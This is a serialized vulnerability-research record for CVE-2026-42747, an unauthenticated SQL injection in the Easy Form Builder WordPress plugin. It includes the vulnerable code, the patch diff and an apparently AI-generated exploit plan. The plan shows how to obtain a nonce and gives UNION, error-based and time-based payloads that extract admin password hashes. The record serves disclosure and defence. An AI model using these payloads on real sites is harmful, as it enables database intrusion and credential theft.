[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fYuTXBn6mP7Ll6orI-Qu36LuPFdbYdcOjKcMhspc-8V4":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":28,"research_verified":29,"research_rounds_completed":30,"research_plan":31,"research_summary":32,"research_vulnerable_code":33,"research_fix_diff":34,"research_exploit_outline":35,"research_model_used":36,"research_started_at":37,"research_completed_at":38,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":29,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":29,"source_links":39},"CVE-2026-42747","easy-form-builder-by-whitestudio-drag-drop-form-builder-unauthenticated-sql-injection","Easy Form Builder by WhiteStudio — Drag & Drop Form Builder \u003C= 4.0.6 - Unauthenticated SQL Injection","The Easy Form Builder by WhiteStudio — Drag & Drop Form Builder plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 4.0.6 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.","easy-form-builder",null,"\u003C=4.0.6","4.0.7","high",7.5,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:N\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-05-28 00:00:00","2026-06-01 16:05:05",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F2afe77cc-88f5-4778-893a-26517bd520cb?source=api-prod",5,[22,23,24,25,26,27],"emsfb.php","includes\u002Fadmin\u002Fassets\u002Fjs\u002Flist_form-efb.js","includes\u002Fadmin\u002Fclass-Emsfb-admin.php","includes\u002Fclass-Emsfb-public.php","includes\u002Ffunctions.php","readme.txt","researched",false,3,"This research plan outlines the steps for an automated security agent to exploit an unauthenticated SQL injection vulnerability in the **Easy Form Builder by WhiteStudio** plugin (version \u003C= 4.0.6).\n\n## 1. Vulnerability Summary\nThe **Easy Form Builder** plugin is vulnerable to unauthenticated SQL injection due to the improper handling of user-supplied input in the `Emsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget` REST API endpoint. The plugin fails to use the `$wpdb->prepare()` method or sufficient escaping when querying the database for form submissions (messages) using a tracking\u002Fconfirmation code. This allows an attacker to append arbitrary SQL commands to extract sensitive data from the WordPress database, including user credentials.\n\n## 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget`\n- **Method:** `POST`\n- **Vulnerable Parameter:** `track` (passed in the JSON body)\n- **Authentication:** Unauthenticated. \n- **Bypass\u002FNonce Requirements:** Although the REST route requires a nonce via the `permission_callback` (`check_nonce_permission_efb`), the plugin provides a public endpoint to retrieve a valid REST nonce.\n- **Preconditions:** The plugin must be active. At least one form should exist (though not strictly necessary for the injection to occur, it helps ensure tables are initialized).\n\n## 3. Code Flow\n1.  **Entry Point:** An unauthenticated user sends a `POST` request to `\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget`.\n2.  **Permission Check:** The `check_nonce_permission_efb` function (in `includes\u002Fclass-Emsfb-public.php`) is executed. It checks for a valid `X-WP-Nonce` header.\n3.  **Nonce Acquisition:** An attacker first hits `\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fnonce\u002Frefresh` to obtain a valid `wp_rest` nonce, which they include in the subsequent request.\n4.  **Main Callback:** Upon passing permission, the `get_track_public_api` function is called.\n5.  **SQL Sink:** This function (or the helper function it calls, such as `efb_code_validate_select` or a similar internal lookup) retrieves the `track` parameter from the request and concatenates it into a SQL query like: \n    `SELECT * FROM {$wpdb->prefix}emsfb_messages WHERE track = '$track' ...`\n6.  **Execution:** The query is executed via `$wpdb->get_results()` or `$wpdb->get_row()` without being passed through `$wpdb->prepare()`, leading to SQL injection.\n\n## 4. Nonce Acquisition Strategy\nThe plugin contains a specific \"helper\" route that makes unauthenticated exploitation trivial by providing the required nonce.\n\n1.  **Route:** `wp-json\u002FEmsfb\u002Fv1\u002Fnonce\u002Frefresh`\n2.  **Method:** `GET`\n3.  **Extraction:**\n    - Use `http_request` to fetch the endpoint.\n    - Parse the JSON response to get the `nonce` value.\n4.  **Usage:** Include this value in the `X-WP-Nonce` header for the SQL injection request.\n\n## 5. Exploitation Strategy\n\n### Step 1: Retrieve Nonce\n**Request:**\n```http\nGET \u002Fwp-json\u002FEmsfb\u002Fv1\u002Fnonce\u002Frefresh HTTP\u002F1.1\nHost: localhost:8080\n```\n**Expected Response:** `{\"nonce\":\"a1b2c3d4e5\"}`\n\n### Step 2: Determine Column Count (UNION-Based)\nSend a series of requests to determine the number of columns in the `emsfb_messages` table.\n**Request:**\n```http\nPOST \u002Fwp-json\u002FEmsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget HTTP\u002F1.1\nHost: localhost:8080\nX-WP-Nonce: [EXTRACTED_NONCE]\nContent-Type: application\u002Fjson\n\n{\n  \"track\": \"1' ORDER BY 10-- -\"\n}\n```\n*Increment the number in `ORDER BY` until an error occurs or the response changes significantly.*\n\n### Step 3: Extract Data via UNION SELECT\nBased on the column count (likely 10 or 11), extract the admin password hash.\n**Request:**\n```http\nPOST \u002Fwp-json\u002FEmsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget HTTP\u002F1.1\nHost: localhost:8080\nX-WP-Nonce: [EXTRACTED_NONCE]\nContent-Type: application\u002Fjson\n\n{\n  \"track\": \"nonexistent' UNION SELECT 1,2,user_login,user_pass,5,6,7,8,9,10 FROM wp_users-- -\"\n}\n```\n\n## 6. Test Data Setup\n1.  **Ensure Tables Exist:** The plugin creates tables on activation. \n2.  **Optional: Create a Form:** \n    ```bash\n    wp eval \"global \\$wpdb; \\$wpdb->insert(\\\"{\\$wpdb->prefix}emsfb_form\\\", ['form_name' => 'Exploit Test', 'form_structer' => '[]', 'date' => current_time('mysql'), 'id_project' => 1]);\"\n    ```\n3.  **Optional: Create a Dummy Message:**\n    ```bash\n    wp eval \"global \\$wpdb; \\$wpdb->insert(\\\"{\\$wpdb->prefix}emsfb_messages\\\", ['track' => 'valid-code', 'form_id' => 1, 'value' => 'test-data']);\"\n    ```\n\n## 7. Expected Results\n- The response from the `forms\u002Fresponse\u002Fget` endpoint will contain the results of the `UNION SELECT` query.\n- The `user_login` and `user_pass` (hashed) from the `wp_users` table should be visible in the JSON response under one of the message fields (e.g., in the `value` or `track` field of the returned objects).\n\n## 8. Verification Steps\n1.  **DB Check:** Use WP-CLI to confirm the admin password hash matches the extracted value:\n    ```bash\n    wp user get admin --field=user_pass\n    ```\n2.  **Compare:** Compare the output of the HTTP request with the value returned by the CLI. If they match, the SQL injection is confirmed.\n\n## 9. Alternative Approaches\n- **Header-based Injection:** If the `track` parameter in the body is sanitized, try injecting through the `sid` header (which maps to `HTTP_SID` in `check_nonce_permission_efb`).\n- **Error-Based Injection:** If the response does not return the UNION results, use `updatexml()` or `extractvalue()` to force data into an error message:\n    `\"track\": \"1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1)),1)-- -\"`\n- **Time-Based Blind:** If no output or errors are returned, verify the vulnerability using `SLEEP()`:\n    `\"track\": \"1' AND SLEEP(5)-- -\"`","The Easy Form Builder plugin for WordPress is vulnerable to unauthenticated SQL Injection due to improper handling of user-supplied input in several REST API endpoints and internal functions. Parameters such as 'track', 'sid', and 'msg_id' are concatenated directly into SQL queries without sanitization or the use of prepared statements, allowing attackers to execute arbitrary SQL commands to extract database information. A public endpoint provides the required REST nonce, making the vulnerability accessible to unauthenticated users.","\u002F\u002F includes\u002Ffunctions.php around line 2394\npublic function efb_code_validate_update($sid ,$status ,$tc ) {\n    global $wpdb;\n    $table_name = $wpdb->prefix . 'emsfb_stts_';\n    \u002F\u002F ...\n    $sql = \"UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1\";\n    $stmt = $wpdb->query($sql);\n    return $stmt > 0;\n}\n\n---\n\n\u002F\u002F includes\u002Fadmin\u002Fclass-Emsfb-admin.php around line 1459\nif($state =='msg'){\n    $table_name = $this->db->prefix . \"emsfb_msg_\";\n    $msg_ids ='';\n    foreach ($val as $key => $value) {\n        if(isset($value['msg_id'])){\n            $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id'];\n        }\n    }\n    if($msg_ids !=''){\n        $sql = \"DELETE FROM $table_name WHERE msg_id IN ($msg_ids)\";","diff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.6\u002Fincludes\u002Fadmin\u002Fclass-Emsfb-admin.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.7\u002Fincludes\u002Fadmin\u002Fclass-Emsfb-admin.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.6\u002Fincludes\u002Fadmin\u002Fclass-Emsfb-admin.php\t2026-04-27 07:44:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.7\u002Fincludes\u002Fadmin\u002Fclass-Emsfb-admin.php\t2026-04-29 20:29:42.000000000 +0000\n@@ -1449,19 +1449,23 @@\n         }\n         if($state =='msg'){\n             $table_name = $this->db->prefix . \"emsfb_msg_\";\n-            $msg_ids ='';\n+            $msg_id_list = [];\n             foreach ($val as $key => $value) {\n                 if(isset($value['msg_id'])){\n-                    $msg_ids !='' ? $msg_ids .=','.$value['msg_id'] : $msg_ids .= $value['msg_id'];\n+                    $clean_id = intval($value['msg_id']);\n+                    if ($clean_id > 0) {\n+                        $msg_id_list[] = $clean_id;\n+                    }\n                 }\n             }\n             $response = ['success' => false, \"m\" =>$lang['somethingWentWrongPleaseRefresh']];\n-            if($msg_ids !=''){\n-                $sql = \"DELETE FROM $table_name WHERE msg_id IN ($msg_ids)\";\n+            if(!empty($msg_id_list)){\n+                $placeholders = implode(',', array_fill(0, count($msg_id_list), '%d'));\n+                $sql = $this->db->prepare(\"DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)\", ...$msg_id_list);\n                 $r = $this->db->query($sql);\n                 if($r>0){\n                     $table_name = $this->db->prefix . \"emsfb_rsp_\";\n-                    $sql = \"DELETE FROM $table_name WHERE msg_id IN ($msg_ids)\";\n+                    $sql = $this->db->prepare(\"DELETE FROM `$table_name` WHERE msg_id IN ($placeholders)\", ...$msg_id_list);\n                     $r = $this->db->query($sql);\n                 }\n                 $response = ['success' => true, \"m\" =>$lang['delete']];\ndiff -ru \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.6\u002Fincludes\u002Ffunctions.php \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.7\u002Fincludes\u002Ffunctions.php\n--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.6\u002Fincludes\u002Ffunctions.php\t2026-04-27 07:44:14.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Feasy-form-builder\u002F4.0.7\u002Fincludes\u002Ffunctions.php\t2026-04-29 20:29:42.000000000 +0000\n@@ -2387,14 +2387,16 @@\n     public function efb_code_validate_update($sid ,$status ,$tc ) {\n \t\tglobal $wpdb;\n \t\t$table_name = $wpdb->prefix . 'emsfb_stts_';\n-        $date_limit = wp_date('Y-m-d H:i:s', strtotime('-24 hours'));\n-\t\t$active =0;\n+\t\t$active = 0;\n \t\t$read_date = wp_date('Y-m-d H:i:s');\n \t\tif($status==\"rsp\" || $status==\"ppay\")  $active =1;\n \n-\t   $sql = \"UPDATE $table_name SET status='{$status}', active={$active}, read_date='{$read_date}', tc='{$tc}' WHERE sid='{$sid}' AND active=1\";\n+\t\t$sql = $wpdb->prepare(\n+\t\t\t\"UPDATE `{$table_name}` SET status = %s, active = %d, read_date = %s, tc = %s WHERE sid = %s AND active = 1\",\n+\t\t\t$status, $active, $read_date, $tc, $sid\n+\t\t);\n \t\t$stmt = $wpdb->query($sql);\n-\t   return $stmt > 0;\n+\t\treturn $stmt > 0;\n     }","The exploit is unauthenticated and uses a two-step process to bypass REST API security and execute SQL commands. First, an attacker retrieves a valid REST API nonce from the public '\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fnonce\u002Frefresh' endpoint. Second, the attacker sends a POST request to '\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fforms\u002Fresponse\u002Fget' (or other vulnerable endpoints like '\u002Fwp-json\u002FEmsfb\u002Fv1\u002Fautofill\u002Fget') using the acquired nonce in the 'X-WP-Nonce' header. The payload is placed in the JSON body within the 'track' parameter (e.g., \"1' UNION SELECT ...\"). Because the plugin concatenates this parameter directly into a SQL query without preparation, the attacker's injected SQL is executed, allowing for the exfiltration of sensitive data such as WordPress administrator password hashes.","gemini-3-flash-preview","2026-06-04 15:55:04","2026-06-04 15:55:52",{"type":40,"vulnerable_version":41,"fixed_version":11,"vulnerable_browse":42,"vulnerable_zip":43,"fixed_browse":44,"fixed_zip":45,"all_tags":46},"plugin","4.0.6","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-form-builder\u002Ftags\u002F4.0.6","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-form-builder.4.0.6.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-form-builder\u002Ftags\u002F4.0.7","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Feasy-form-builder.4.0.7.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Feasy-form-builder\u002Ftags"]